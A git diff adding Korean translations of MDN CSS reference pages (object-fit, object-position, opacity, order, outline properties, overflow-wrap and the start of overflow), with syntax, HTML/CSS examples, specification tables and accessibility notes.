+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Values', '#numbers', '<number>')}}{{Spec2('CSS3 Values')}}No significant change.
{{SpecName('CSS2.1', 'syndata.html#numbers', '<number>')}}{{Spec2('CSS2.1')}}Explicit definition.
{{SpecName('CSS1', '', '<number>')}}{{Spec2('CSS1')}}Implicit definition.
+ +

브라우저 호환성

+ +
+

{{Compat("css.types.number")}}

+
+ +

같이 보기

+ +
    +
  • {{cssxref("<integer>")}}
  • +
diff --git a/files/ko/web/css/object-fit/index.html b/files/ko/web/css/object-fit/index.html new file mode 100644 index 0000000000..3c44025c12 --- /dev/null +++ b/files/ko/web/css/object-fit/index.html @@ -0,0 +1,170 @@ +--- +title: object-fit +slug: Web/CSS/object-fit +tags: + - CSS + - CSS Images + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/object-fit +--- +
{{CSSRef}}
+ +

CSS object-fit 속성은 {{HTMLElement("img")}}나 {{HTMLElement("video")}} 요소와 같은 대체 요소의 콘텐츠 크기를 어떤 방식으로 조절해 요소에 맞출 것인지 지정합니다.

+ +

{{cssxref("object-position")}} 속성을 사용해 대체 요소 콘텐츠가 콘텐츠 박스 내에 위치할 지점을 바꿀 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/object-fit.html")}}
+ + + +

구문

+ +

object-fit 속성은 다음 목록 중 하나의 키워드를 사용해 지정합니다.

+ +

+ +
+
contain
+
대체 콘텐츠의 가로세로비를 유지하면서, 요소의 콘텐츠 박스 내부에 들어가도록 크기를 맞춤 조절합니다. 콘텐츠가 콘텐츠 박스 크기에 맞도록 하면서도 가로세로비를 유지하게 되므로, 서로의 가로세로비가 일치하지 않으면 객체가 "레터박스"처럼 됩니다.
+
cover
+
대체 콘텐츠의 가로세로비를 유지하면서, 요소 콘텐츠 박스를 가득 채웁니다. 서로의 가로세로비가 일치하지 않으면 객체 일부가 잘려나갑니다.
+
fill
+
요소 콘텐츠 박스 크기에 맞춰 대체 콘텐츠의 크기를 조절합니다. 콘텐츠가 콘텐츠 박스를 가득 채웁니다. 서로의 가로세로비가 일치하지 않으면 콘텐츠가 늘어납니다.
+
none
+
대체 콘텐츠의 크기를 조절하지 않습니다.
+
scale-down
+
nonecontain 중 대체 콘텐츠의 크기가 더 작아지는 값을 선택합니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

이미지에 object-fit 지정

+ +

HTML

+ +
<section>
+  <h2>object-fit: fill</h2>
+  <img class="fill" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <img class="fill narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <h2>object-fit: contain</h2>
+  <img class="contain" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <img class="contain narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <h2>object-fit: cover</h2>
+  <img class="cover" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <img class="cover narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <h2>object-fit: none</h2>
+  <img class="none" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <img class="none narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <h2>object-fit: scale-down</h2>
+  <img class="scale-down" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+
+  <img class="scale-down narrow" src="https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png" alt="MDN Logo">
+</section>
+ +

CSS

+ +
h2 {
+  font-family: Courier New, monospace;
+  font-size: 1em;
+  margin: 1em 0 0.3em;
+}
+
+div {
+  display: flex;
+  flex-direction: column;
+  flex-wrap: wrap;
+  align-items: flex-start;
+  height: 940px;
+}
+
+img {
+  width: 150px;
+  height: 100px;
+  border: 1px solid #000;
+}
+
+.narrow {
+  width: 100px;
+  height: 150px;
+  margin-top: 10px;
+}
+
+.fill {
+  object-fit: fill;
+}
+
+.contain {
+  object-fit: contain;
+}
+
+.cover {
+  object-fit: cover;
+}
+
+.none {
+  object-fit: none;
+}
+
+.scale-down {
+  object-fit: scale-down;
+}
+
+ +

결과

+ +

{{ EmbedLiveSample('이미지에_object-fit_지정', 500, 1100) }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Images', '#the-object-fit', 'object-fit')}}{{Spec2('CSS4 Images')}}
{{SpecName('CSS3 Images', '#the-object-fit', 'object-fit')}}{{Spec2('CSS3 Images')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.object-fit")}}

+ +

같이 보기

+ +
    +
  • 이미지 관련 다른 CSS 속성: {{cssxref("object-position")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.
  • +
  • {{cssxref("background-size")}}
  • +
diff --git a/files/ko/web/css/object-position/index.html b/files/ko/web/css/object-position/index.html new file mode 100644 index 0000000000..a53f4e988b --- /dev/null +++ b/files/ko/web/css/object-position/index.html @@ -0,0 +1,123 @@ +--- +title: object-position +slug: Web/CSS/object-position +tags: + - CSS + - CSS Property + - Layout + - Reference + - Replaced Elements + - 대체 요소 +translation_of: Web/CSS/object-position +--- +
{{CSSRef}}
+ +

CSS object-position 속성은 대체 요소의 콘텐츠 정렬 방식을 지정합니다. 대체 요소의 객체가 덮지 않은 부분은 요소의 배경이 보이게 됩니다.

+ +

대체 요소 객체의 고유 크기(수정을 가하지 않은 원래 크기)를 조정해 요소 박스에 맞추는 방법은 {{cssxref("object-fit")}} 속성으로 지정할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/object-position.html")}}
+ + + +

구문

+ +
/* <position> 값 */
+object-position: center top;
+object-position: 100px 50px;
+
+/* 전역 값 */
+object-position: inherit;
+object-position: initial;
+object-position: unset;
+
+ +

+ +
+
{{cssxref("<position>")}}
+
객체의 2D 위치를 지정하는 한 개에서 네 개의 값. 상대와 절대 오프셋을 사용할 수 있습니다.
+
+ +
+

참고: 콘텐츠가 대체 요소의 박스 바깥으로 나가도록 지정할 수도 있습니다.

+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

이미지 콘텐츠 위치 지정

+ +

HTML

+ +

두 개의 {{htmlelement("img")}} 요소가 MDN 로고를 가리키는 코드입니다.

+ +
<img id="object-position-1" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/>
+<img id="object-position-2" src="https://mdn.mozillademos.org/files/12668/MDN.svg" alt="MDN Logo"/>
+
+ +

CSS

+ +

다음 CSS는 두 <img> 요소 모두에 적용할 스타일과 함께, 각각 별도로 적용할 object-position 속성도 지정하고 있습니다.

+ +
img {
+  width: 300px;
+  height: 250px;
+  border: 1px solid black;
+  background-color: silver;
+  margin-right: 1em;
+  object-fit: none;
+}
+
+#object-position-1 {
+  object-position: 10px;
+}
+
+#object-position-2 {
+  object-position: 100% 10%;
+}
+
+ +

첫 번째 이미지는 요소 박스의 왼쪽 경계로부터 10픽셀 떨어진 곳으로 배치됩니다. 두 번째 이미지는 요소 박스의 오른쪽 경계와 자신의 오른쪽 모서리를 서로 겹치고, 박스의 위쪽 경계로부터 박스 높이의 10% 떨어진 지점으로 배치됩니다.

+ +

결과

+ +

{{ EmbedLiveSample('이미지_콘텐츠_위치_지정', '100%','600px') }}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Images', '#the-object-position', 'object-position')}}{{Spec2('CSS3 Images')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.object-position")}}

+ +

같이 보기

+ +
    +
  • 이미지 관련 다른 CSS 속성: {{cssxref("object-fit")}}, {{cssxref("image-orientation")}}, {{cssxref("image-rendering")}}, {{cssxref("image-resolution")}}.
  • +
diff --git a/files/ko/web/css/opacity/index.html b/files/ko/web/css/opacity/index.html new file mode 100644 index 0000000000..6132b0380a --- /dev/null +++ b/files/ko/web/css/opacity/index.html @@ -0,0 +1,144 @@ +--- +title: opacity +slug: Web/CSS/opacity +tags: + - CSS + - CSS Property + - Reference + - 색 +translation_of: Web/CSS/opacity +--- +
{{CSSRef}}
+ +

opacity CSS 속성은 요소의 불투명도를 설정합니다. 불투명도는 요소 뒤쪽 콘텐츠가 숨겨지는 정도로, 투명도의 반대입니다.

+ +
{{EmbedInteractiveExample("pages/css/opacity.html")}}
+ + + +

opacity는 요소의 내용을 포함해 모든 곳에 영향을 주지만 자식 요소가 상속하지는 않습니다. 따라서 요소와 자식의 투명도가 서로 다르더라도 배경에 대해서는 상대적으로 같은 투명도를 갖습니다.

+ +

opacity 값이 1이 아니면 요소를 새로운 쌓임 맥락에 배치합니다.

+ +

자식 요소는 불투명하게 유지하고 싶다면 {{cssxref("background")}} 속성을 대신 사용하세요.

+ +
background: rgba(0, 0, 0, 0.4);
+ +

구문

+ +

+ +
+
<alpha-value>
+
채널의 불투명도(알파 채널의 값)를 나타내는 0.0 이상 1.0 이하의 {{cssxref("number")}}, 또는 0% 이상 100% 이하의 {{cssxref("percentage")}}. 범위 밖의 숫자는 구문 상 유효하지만, 실제 적용 시에는 범위에 맞춰 나머지 값은 버려집니다. + + + + + + + + + + + + + + + + + + + +
0요소가 완전히 투명해 보이지 않음.
01 사이의 아무 <number>요소가 반투명해 뒤의 내용을 볼 수 있음.
1 (기본값)요소가 불투명함.
+
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

기본 예제

+ +
div { background-color: yellow; }
+.light {
+  opacity: 0.2; /* 배경 위로 겨우 볼 수 있음 */
+}
+.medium {
+  opacity: 0.5; /* 배경 위로 조금 더 잘 보임 */
+}
+.heavy {
+  opacity: 0.9; /* 배경 위로 뚜렷하게 보임 */
+}
+
+ +
<div class="light">겨우 보이는 글</div>
+<div class="medium">좀 더 잘 보이는 글</div>
+<div class="heavy">쉽게 보이는 글</div>
+
+ +

{{EmbedLiveSample('기본_예제', '640', '64')}}

+ +

:hover 시 다른 불투명도 적용

+ +
img.opacity {
+  opacity: 1;
+}
+
+img.opacity:hover {
+  opacity: 0.5;
+  filter: alpha(opacity=50);
+  zoom: 1;
+}
+ +
<img src="//developer.mozilla.org/static/img/opengraph-logo.png"
+  alt="MDN logo" width="128" height="146"
+  class="opacity">
+ +

{{EmbedLiveSample('hover_시_다른_불투명도_적용', '150', '175')}}

+ +

접근성 고려사항

+ +

글씨의 투명도를 조절했다면, 낮은 시력을 가진 사용자도 페이지의 콘텐츠를 읽을 수 있도록 글자 색과 배경색의 대비를 높게 유지하는 것이 중요합니다.

+ +

색 대비율은 배경색과 투명도를 적용한 글자 색의 밝기를 비교해서 얻어낼 수 있습니다. 현재 웹 콘텐츠 접근성 가이드라인(WCAG)을 만족하려면, 텍스트 콘텐츠는 4.5:1, 제목 등 큰 텍스트는 3:1의 대비율이 필요합니다. 큰 텍스트란 18.66px 이상의 굵은 글씨 혹은 24px 이상의 텍스트로 정의하고 있습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Transitions', '#animatable-css', 'opacity')}}{{Spec2('CSS3 Transitions')}}Defines opacity as animatable.
{{SpecName('CSS3 Colors', '#opacity', 'opacity')}}{{Spec2('CSS3 Colors')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.opacity", 2)}}

diff --git a/files/ko/web/css/order/index.html b/files/ko/web/css/order/index.html new file mode 100644 index 0000000000..8b25e38777 --- /dev/null +++ b/files/ko/web/css/order/index.html @@ -0,0 +1,110 @@ +--- +title: order +slug: Web/CSS/order +tags: + - CSS + - CSS Flexible Boxes + - CSS Property + - Reference +translation_of: Web/CSS/order +--- +
{{CSSRef}}
+ +

order CSS 속성은 플렉스 또는 그리드 컨테이너 안에서 현재 요소의 배치 순서를 지정합니다. 컨테이너 아이템의 정렬 순서는 오름차순 order 값이고, 같은 값일 경우 소스 코드의 순서대로 정렬됩니다.

+ +
{{EmbedInteractiveExample("pages/css/order.html")}}
+ + + +

구문

+ +
/* <integer> 값 */
+order: 5;
+order: -5;
+
+/* 전역 값 */
+order: inherit;
+order: initial;
+order: unset;
+ +
+

참고: order 속성은 논리적인 순서나 탭 순서와는 전혀 상관 없이 화면에 보이는 순서에만 영향을 줍니다. 따라서 비시각적 매체에 적용해선 안됩니다.

+
+ +

+ +
+
{{cssxref("<integer>")}}
+
아이템의 순서.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
<header>...</header>
+<main>
+  <article>Article</article>
+  <nav>Nav</nav>
+  <aside>Aside</aside>
+</main>
+<footer>...</footer>
+ +

위와 같은 기본적인 HTML에서, 다음 CSS 코드는 콘텐츠 블록을 감싸는, 고전적인 양쪽 사이드바 레이아웃을 만듭니다. Flexible Box Layout 모듈이 자동으로 모든 블록의 높이를 동일하게 하며 가능한 가로축 공간을 모두 분배합니다.

+ +
main { display: flex;  text-align:center; }
+main > article { flex:1;        order: 2; }
+main > nav     { width: 200px;  order: 1; }
+main > aside   { width: 200px;  order: 3; }
+ +

결과

+ +

{{ EmbedLiveSample('Example') }}

+ +

접근성 고려사항

+ +

order 속성을 사용하면 실제 DOM 순서와 화면에 보여지는 콘텐츠의 순서가 서로 연결되지 않습니다. 이는 낮은 시각으로 스크린 리더 등 보조 기술을 사용해 이동하는 사용자의 경험에 부정적인 영향을 줄 수 있습니다. 시각적 순서(CSS)가 중요하더라도 스크린 리더 사용자는 제대로 된 읽기 순서를 알 수 없습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Flexbox', '#order-property', 'order')}}{{Spec2('CSS3 Flexbox')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.order")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/outline-style/index.html b/files/ko/web/css/outline-style/index.html new file mode 100644 index 0000000000..cc483e5010 --- /dev/null +++ b/files/ko/web/css/outline-style/index.html @@ -0,0 +1,256 @@ +--- +title: outline-style +slug: Web/CSS/outline-style +tags: + - CSS + - CSS Outline + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/outline-style +--- +
{{CSSRef}}
+ +

CSS outline-style 속성은 요소 외곽선의 스타일을 설정합니다. 외곽선은 요소의 테두리 바깥에 그려지는 선입니다.

+ +
{{EmbedInteractiveExample("pages/css/outline-style.html")}}
+ + + +

외곽선 외형을 설정할 땐 {{cssxref("outline")}} 단축 속성을 사용하는게 편리한 상황이 많습니다.

+ +

구문

+ +
/* 키워드 값 */
+outline-style: auto;
+outline-style: none;
+outline-style: dotted;
+outline-style: dashed;
+outline-style: solid;
+outline-style: double;
+outline-style: groove;
+outline-style: ridge;
+outline-style: inset;
+outline-style: outset;
+
+/* 전역 값 */
+outline-style: inherit;
+outline-style: initial;
+outline-style: unset;
+
+ +

outline-style 속성은 다음 값 중 하나를 사용해 지정합니다.

+ +

+ +
+
+

auto

+
+
사용자 에이전트가 사용자 지정 외곽선을 그릴 수 있도록 허용합니다.
+
+

none

+
+
외곽선을 제거합니다. {{cssxref("outline-width")}}가 0입니다.
+
+

dotted

+
+
외곽선을 점 여러 개로 그립니다.
+
+

dashed

+
+
외곽선을 짧은 선 여러 개로 그립니다.
+
+

solid

+
+
외곽선을 하나의 선으로 그립니다.
+
+

double

+
+
외곽선을 두 개의 선으로 그립니다. {{cssxref("outline-width")}}는 두 선과 그 사이의 간격을 합친 값입니다.
+
+

groove

+
+
외곽선을 마치 파낸 것처럼 그립니다.
+
+

ridge

+
+
groove의 반대입니다. 외곽선을 마치 튀어나온 것처럼 그립니다.
+
+

inset

+
+
요소가 페이지 안에 박힌 것처럼 외곽선을 그립니다.
+
+

outset

+
+
inset의 반대입니다. 요소가 페이지 밖으로 나온 것처럼 그립니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

외곽선 스타일을 auto로 설정하기

+ +

auto 값은 사용자 지정 스타일을 의미합니다. 일반적으로 플랫폼 기본 사용자 인터페이스 스타일이거나, CSS에서 나타낼 수 있는 것보다 더 풍부한 스타일 (예컨대 둥근 꼭짓점에 바깥쪽 픽셀은 반투명하여 빛나는 것처럼 보이는 외곽선)입니다.

+ +

HTML

+ +
<div>
+  <p class="auto">Outline Demo</p>
+</div> 
+ +

CSS

+ +
.auto {
+  outline-style: auto; /* same result as "outline: auto" */
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; } 
+ +

결과

+ +

{{ EmbedLiveSample('외곽선_스타일을_auto로_설정하기') }}

+ +

외곽선 스타일을 dashed, dotted로 설정하기

+ +

HTML

+ +
<div>
+  <div class="dotted">
+    <p class="dashed">Outline Demo</p>
+  </div>
+</div> 
+ +

CSS

+ +
.dotted {
+  outline-style: dotted; /* same result as "outline: dotted" */
+}
+.dashed {
+  outline-style: dashed;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; } 
+ +

결과

+ +

{{ EmbedLiveSample('외곽선_스타일을_dashed_dotted로_설정하기') }}

+ +

외곽선 스타일을 solid, double로 설정하기

+ +

HTML

+ +
<div>
+  <div class="solid">
+    <p class="double">Outline Demo</p>
+  </div>
+</div> 
+ +

CSS

+ +
.solid {
+  outline-style: solid;
+}
+.double {
+  outline-style: double;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; } 
+ +

결과

+ +

{{ EmbedLiveSample('외곽선_스타일을_solid_double로_설정하기') }}

+ +

외곽선 스타일을 groove, ridge로 설정하기

+ +

HTML

+ +
<div>
+  <div class="groove">
+    <p class="ridge">Outline Demo</p>
+  </div>
+</div>
+ +

CSS

+ +
.groove {
+  outline-style: groove;
+}
+.ridge {
+  outline-style: ridge;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; }
+ +

결과

+ +

{{ EmbedLiveSample('외곽선_스타일을_groove_ridge로_설정하기') }}

+ +

외곽선 스타일을 inset, outset으로 설정하기

+ +

HTML

+ +
<div>
+  <div class="inset">
+    <p class="outset">Outline Demo</p>
+  </div>
+</div>
+ +

CSS

+ +
.inset {
+  outline-style: inset;
+}
+.outset {
+  outline-style: outset;
+}
+
+/* To make the Demo clearer */
+* { outline-width: 10px; padding: 15px; }
+ +

결과

+ +

{{ EmbedLiveSample('외곽선_스타일을_inset_outset으로_설정하기') }}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Basic UI', '#outline-style', 'outline-style')}}{{Spec2('CSS3 Basic UI')}}Added auto value.
{{SpecName('CSS2.1', 'ui.html#propdef-outline-style', 'outline-style')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.properties.outline-style")}}

+
diff --git a/files/ko/web/css/outline-width/index.html b/files/ko/web/css/outline-width/index.html new file mode 100644 index 0000000000..0c25d34eb1 --- /dev/null +++ b/files/ko/web/css/outline-width/index.html @@ -0,0 +1,141 @@ +--- +title: outline-width +slug: Web/CSS/outline-width +tags: + - CSS + - CSS Outline + - CSS Property + - Layout + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/outline-width +--- +
{{CSSRef}}
+ +

CSS outline-width 속성은 요소 외곽선의 두께를 설정합니다. 외곽선은 요소의 테두리 바깥에 그려지는 선입니다.

+ +
{{EmbedInteractiveExample("pages/css/outline-width.html")}}
+ + + +

외곽선 외형을 설정할 땐 {{cssxref("outline")}} 단축 속성을 사용하는게 편리한 상황이 많습니다.

+ +

구문

+ +
/* 키워드 값 */
+outline-width: thin;
+outline-width: medium;
+outline-width: thick;
+
+/* <length> 값 */
+outline-width: 1px;
+outline-width: 0.1em;
+
+/* 전역 값 */
+outline-width: inherit;
+
+ +

outline-width 속성은 다음 값 중 하나를 사용해 지정합니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
외곽선의 두께를 <length>로 설정합니다.
+
thin
+
사용자 에이전트마다 다릅니다. 데스크톱 브라우저에서는 보통 1px입니다.
+
medium
+
사용자 에이전트마다 다릅니다. 데스크톱 브라우저에서는 보통 3px입니다.
+
thick
+
사용자 에이전트마다 다릅니다. 데스크톱 브라우저에서는 보통 5px입니다.
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

요소의 외곽선 두께 설정하기

+ +

HTML

+ +
<span id="thin">thin</span>
+<span id="medium">medium</span>
+<span id="thick">thick</span>
+<span id="twopixels">2px</span>
+<span id="oneex">1ex</span>
+<span id="em">1.2em</span>
+
+ +

CSS

+ +
span {
+  outline-style: solid;
+  display: inline-block;
+  margin: 20px;
+}
+
+#thin {
+  outline-width: thin;
+}
+
+#medium {
+  outline-width: medium;
+}
+
+#thick {
+  outline-width: thick;
+}
+
+#twopixels {
+  outline-width: 2px;
+}
+
+#oneex {
+  outline-width: 1ex;
+}
+
+#em {
+  outline-width: 1.2em;
+}
+
+
+ +

결과

+ +

{{EmbedLiveSample('요소의_외곽선_두께_설정하기', '100%', '80')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Basic UI', '#outline-width', 'outline-width')}}{{Spec2('CSS3 Basic UI')}}No change.
{{SpecName('CSS2.1', 'ui.html#propdef-outline-width', 'outline-width')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.outline-width")}}

diff --git a/files/ko/web/css/outline/index.html b/files/ko/web/css/outline/index.html new file mode 100644 index 0000000000..4b578c289b --- /dev/null +++ b/files/ko/web/css/outline/index.html @@ -0,0 +1,158 @@ +--- +title: outline +slug: Web/CSS/outline +tags: + - CSS + - CSS Outline + - CSS Property + - Layout + - Reference + - 'recipe:css-shorthand-property' +translation_of: Web/CSS/outline +--- +
{{CSSRef}}
+ +

CSS outline 단축 속성은 모든 외곽선 속성을 한꺼번에 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/outline.html")}}
+ + + +

구성 속성

+ +

outline은 단축 속성으로서 다음의 하위 속성을 포함합니다.

+ +
    +
  • {{cssxref("outline-color")}}
  • +
  • {{cssxref("outline-style")}}
  • +
  • {{cssxref("outline-width")}}
  • +
+ +

구문

+ +
/* style */
+outline: solid;
+
+/* color | style */
+outline: #f66 dashed;
+
+/* style | width */
+outline: inset thick;
+
+/* color | style | width */
+outline: green solid 3px;
+
+/* 전역 값 */
+outline: inherit;
+outline: initial;
+outline: unset;
+
+ +

outline 속성은 아래의 값 중 한 개에서 세 개를 사용해 지정할 수 있으며 순서는 상관하지 않습니다.

+ +
+

참고: 많은 요소의 외곽선은 스타일을 지정하지 않을 경우 보이지 않습니다. 스타일 기본값이 none이기 때문인데, 주목할만한 예외는 {{htmlelement("input")}} 요소로 브라우저의 기본 스타일이 적용됩니다.

+
+ +

+ +
+
<'outline-color'>
+
외곽선의 색을 설정합니다. 누락 시 기본값은 currentcolor입니다. {{cssxref("outline-color")}}를 참고하세요.
+
<'outline-style'>
+
외곽선의 스타일을 설정합니다. 누락 시 기본값은 none입니다. {{cssxref("outline-style")}}을 참고하세요.
+
<'outline-width'>
+
외곽선의 두께를 설정합니다. 누락 시 기본값은 medium입니다. {{cssxref("outline-width")}}를 참고하세요.
+
+ +

설명

+ +

테두리와 외곽선은 매우 유사하지만, 다음의 두 가지 차이점이 존재합니다.

+ +
    +
  • 외곽선은 요소 콘텐츠의 밖에 그려지며 절대 공간을 차지하지 않습니다.
  • +
  • 명세에 따르면 외곽선은 직사각형일 필요가 없습니다. 보통 직사각형으로 그리기는 합니다.
  • +
+ +

다른 모든 단축 속성과 마찬가지로, 누락한 하위 속성의 값은 초깃값으로 설정됩니다.

+ +

접근성 고려사항

+ +

outline0 또는 none 값을 지정하면 브라우저의 기본 포커스 스타일이 사라집니다. 만약 어떤 요소가 상호작용 가능하다면 반드시 시각으로 포커스 여부를 나타낼 수 있어야 합니다. 기본 포커스 스타일을 제거한 경우 다른 뚜렷한 대안을 제공하세요.

+ + + +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

외곽선으로 포커스 스타일 설정

+ +

HTML

+ +
<a href="#">This link has a special focus style.</a>
+
+ +

CSS

+ +
a {
+  border: 1px solid;
+  border-radius: 3px;
+  display: inline-block;
+  margin: 10px;
+  padding: 5px;
+}
+
+a:focus {
+  outline: 4px dotted #e73;
+  outline-offset: 4px;
+  background: #ffa;
+}
+
+ +

결과

+ +

{{EmbedLiveSample("외곽선으로_포커스_스타일_설정", "100%", 60)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Basic UI', '#outline', 'outline')}}{{Spec2('CSS3 Basic UI')}}No change.
{{SpecName('CSS2.1', 'ui.html#propdef-outline', 'outline')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("css.properties.outline")}}

+
diff --git a/files/ko/web/css/overflow-wrap/index.html b/files/ko/web/css/overflow-wrap/index.html new file mode 100644 index 0000000000..b2241a5b61 --- /dev/null +++ b/files/ko/web/css/overflow-wrap/index.html @@ -0,0 +1,118 @@ +--- +title: overflow-wrap +slug: Web/CSS/overflow-wrap +tags: + - CSS + - CSS Property + - CSS Text + - Reference +translation_of: Web/CSS/overflow-wrap +--- +
{{CSSRef}}
+ +

overflow-wrap CSS 요소는 어떤 문자가 내용 칸 밖으로 넘치지 않게 브라우저가 단어 마디 안에 줄을 바꿔야 할 것인지 아닌지를 정할 때 사용됩니다.

+ +
Note: {{cssxref("word-break")}}와는 달리, overflow-wrap은 모든 단어가 넘치지 않으면 자신의 줄 안에 놓여 있을 수 없을 때 줄 바꿈을 한 번만 할 것입니다.
+ +

이 속성은 처음에 마이크로소프트에서 표준이 아니고 접두어가 없는 word-wrap으로 나왔고, 대부분 브라우저에서 똑같은 이름으로 구현되었습니다. 요즘은 overflow-wrap으로 다시 지어지고, word-wrap은 동의어가 되었습니다.

+ +

구문

+ +
/* Keyword values */
+overflow-wrap: normal;
+overflow-wrap: break-word;
+
+/* Global values */
+overflow-wrap: inherit;
+overflow-wrap: initial;
+overflow-wrap: unset;
+
+ +

overflow-wrap 속성은 아래에 나열돼 있는 값들 중 단 하나로 정해집니다.

+ +

+ +
+
normal
+
줄이 오직 (두 단어 사이의 공백과 같이) 보통의 줄 바꿈 지점에서만 줄을 바꿉니다.
+
break-word
+
보통 안 바꿔지는 단어들을 한 줄에서 대신 줄을 바꿀 만한 지점이 없을 시 임의의 지점에서 줄을 바꿉니다.
+
+ +

기본적인 구문

+ +
{{csssyntax}}
+ +

예시

+ +

이 예시는 긴 단어를 넘길 때 overflow-wrap, word-break, 그리고 hyphens의 결과를 비교합니다.

+ +

HTML

+ +
<p class="normal">They say the fishing is excellent at
+  Lake Chargoggagoggmanchauggagoggchaubunagungamaugg,
+  though I've never been there myself. (normal)</p>
+<p class="overflow-wrap">They say the fishing is excellent at
+  Lake Chargoggagoggmanchauggagoggchaubunagungamaugg,
+  though I've never been there myself. (overflow-wrap)</p>
+<p class="word-break">They say the fishing is excellent at
+  Lake Chargoggagoggmanchauggagoggchaubunagungamaugg,
+  though I've never been there myself. (word-break)</p>
+<p class="hyphens">They say the fishing is excellent at
+  Lake Chargoggagoggmanchauggagoggchaubunagungamaugg,
+  though I've never been there myself. (hyphens)</p>
+ +

CSS

+ +
p {
+  width: 13em;
+  background: gold;
+}
+
+.overflow-wrap {
+  overflow-wrap: break-word;
+}
+
+.word-break {
+  word-break: break-all;
+}
+
+.hyphens {
+  hyphens: auto;
+}
+
+ +

Result

+ +

{{ EmbedLiveSample('Example', '100%', 260) }}

+ +

사양

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Text', '#propdef-overflow-wrap', 'overflow-wrap') }}{{ Spec2('CSS3 Text') }}Initial definition
+ +

브라우저 호환성

+ +

{{Compat("css.properties.overflow-wrap")}}

+ + + +

바로 보기

+ +
    +
  • {{cssxref("word-break")}}
  • +
diff --git a/files/ko/web/css/overflow/index.html b/files/ko/web/css/overflow/index.html new file mode 100644 index 0000000000..5e5e2296ae --- /dev/null +++ b/files/ko/web/css/overflow/index.html @@ -0,0 +1,146 @@ +--- +title: overflow +slug: Web/CSS/overflow +tags: + - CSS + - CSS Box Model + - CSS Property + - Layout + - Reference +translation_of: Web/CSS/overflow +--- +
{{CSSRef}}
+ +

overflow CSS 단축 속성은 요소의 콘텐츠가 너무 커서 요소의 블록 서식 맥락에 맞출 수 없을 때의 처리법을 지정합니다. {{cssxref("overflow-x")}}, {{cssxref("overflow-y")}}의 값을 설정합니다.

+ +
{{EmbedInteractiveExample("pages/css/overflow.html")}}
+ + + +

적용 가능한 방법은 잘라내기, 스크롤바 노출, 넘친 콘텐츠 그대로 노출 등이 있습니다.

+ +

visible(기본값)이 아닌 다른 값으로 overflow 속성을 사용할 경우 새로운 블록 서식 문맥을 생성합니다. 이는 기술적인 요구사항으로, 만약 스크롤하는 요소와 float이 교차한다면, 각 스크롤 단계마다 내용물을 강제적으로 다시 감싸게 될 것입니다. 이는 결국 스크롤 속도를 느리게 할 것입니다.

+ +

